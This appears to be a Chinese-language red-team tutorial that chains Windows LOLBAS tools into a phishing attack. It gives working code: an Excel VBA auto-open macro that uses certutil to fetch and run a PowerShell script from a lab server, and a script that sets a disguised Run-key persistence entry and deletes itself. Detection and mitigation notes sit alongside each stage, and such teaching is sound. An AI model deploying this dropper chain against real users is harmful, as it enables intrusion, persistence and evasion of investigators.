真實攻擊中,LOLBAS 工具很少會單獨使用,
攻擊者會把多個內建工具串連成攻擊鏈,
從初始入侵到持久化潛伏,全程使用合法工具躲避偵測。
所以這篇文章,
我們就一起來把先前所學全部串起來運用吧!

想像你是一個公司的員工,收到了這個財務表格
檔案看起來沒太大問題,
大家通常下意識也會去上面黃黃的那一條把按鈕按下去 XD
那這時候我們的攻擊就成功執行了
一旦點擊「啟用內容」,EXCEL.EXE 中預藏的 VBA 惡意巨集就會被觸發,執行攻擊的第二階段。
EXCEL.EXE
T1566.001 - Spearphishing Attachment / T1204.002 - Malicious File
Alt + F11 進入 VBA 編輯器。ThisWorkbook 並雙擊它。cmd.exe 來執行下一階段的指令。Private Sub Workbook_Open()
Dim command As String
command = "cmd.exe /c certutil.exe -urlcache -f http://192.168.56.1:8080/stage2.ps1 C:\Users\Public\stage2.ps1 && powershell.exe -ExecutionPolicy Bypass -File C:\Users\Public\stage2.ps1"
Shell command, vbHide
End Sub
最關鍵的偵測點是 EXCEL.EXE 的處理程序行為。如果 EDR 偵測到 EXCEL.EXE 嘗試啟動 cmd.exe、powershell.exe 等子處理程序,就是一個可疑的攻擊訊號。
在 Microsoft Defender 環境中,啟用「Block all Office applications from creating child processes」規則,可以直接從根本上阻斷此類攻擊。
持續進行社交工程演練,教導員工永遠不要輕易相信郵件內容並啟用不明檔案的巨集。
第一階段的 VBA 巨集,功能是執行一個 cmd.exe 命令,命令又可以拆成兩部分:
下載 (Staging):使用 certutil.exe 從攻擊者的伺服器下載第二階段的 PowerShell 腳本 (stage2.ps1) 到一個所有使用者都可讀寫的目錄 C:\Users\Public\。
執行 (Execution):立即使用 powershell.exe 執行剛下載的腳本。
cmd.exe, certutil.exe, powershell.exe
T1105 - Ingress Tool Transfer / T1059.001 - PowerShell
上一階段的 VBA 已經包含了此階段的 Demo。VBA 會下載並執行一個 PowerShell 腳本,
這邊也放上腳本 (stage2.ps1) 的內容,它會執行我們攻擊的第三和第四階段。
# stage2.ps1
# 把小算盤加到登錄碼的 Run 機碼中,讓他在使用者下次登入時自動啟動
# 在真實攻擊中,這裡會是放後門程式的地方
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "System Health Monitor" /t REG_SZ /d "C:\Windows\System32\calc.exe" /f
# 刪除下載的腳本檔案
Remove-Item -Path $MyInvocation.MyCommand.Path -Force
certutil.exe 是否帶有 -urlcache 參數執行,以及 powershell.exe 是否帶有 -ExecutionPolicy Bypass 或 -File 參數。certutil.exe 是一個憑證管理工具,它不應該去連線 Gist、Pastebin 或其他非預期的外部網站。第二階段的 stage2.ps1 腳本執行後,
他最主要任務之一就是要去建立持久化後門。
它會使用 reg.exe (透過 PowerShell 呼叫) 在目前使用者的 Run 登錄碼機碼下,
新增一個叫作 "System Health Monitor" 的項目。explorer.exe 就會在使用者每次登入時自動讀取這個位置並執行其中的命令。
reg.exe (由 powershell.exe 呼叫), explorer.exe(開機 Startups 會用到他)T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys
stage2.ps1 腳本中的 reg add 指令就是此階段的 Demo。
執行之後我們來驗證看看:
calc (或 System Health Monitor) 的新項目。
\CurrentVersion\Run、\CurrentVersion\RunOnce 等敏感登錄碼機碼的寫入行為。Autoruns 等工具來全面檢視所有持久化位置。在完成持久化設定後,stage2.ps1 腳本做的最後一件事,就是「自我毀滅」,刪除它自己在磁碟上的蹤跡,讓調查人員更難找到攻擊的來源。
Remove-Item)T1070.004 - File Deletion
stage2.ps1 腳本中的 Remove-Item 指令就是此階段的 Demo。
我們也會發現 C:\Users\Public\stage2.ps1 檔案在執行後就消失了。
-urlcache -f 參數-ExecutionPolicy Bypass
/w: 參數這個攻擊鏈展示了LOLBAS工具如何環環相扣,
從初始的 Excel VBA 到最終的痕跡清理,全程使用合法工具。
防禦關鍵在於監控異常進程鏈和限制關鍵工具執行。
這篇文章也是把之前講過的一些工具串起來,
當然絕對不只有這樣的串法,
也可以去寫一個惡意 DLL 或塞一個 Reverse Shell 來打都是可行的
所以希望大家對於 LOLBAS 的攻擊可以不設限,
也期待看到大家發揮想像力來透過組合完成攻擊!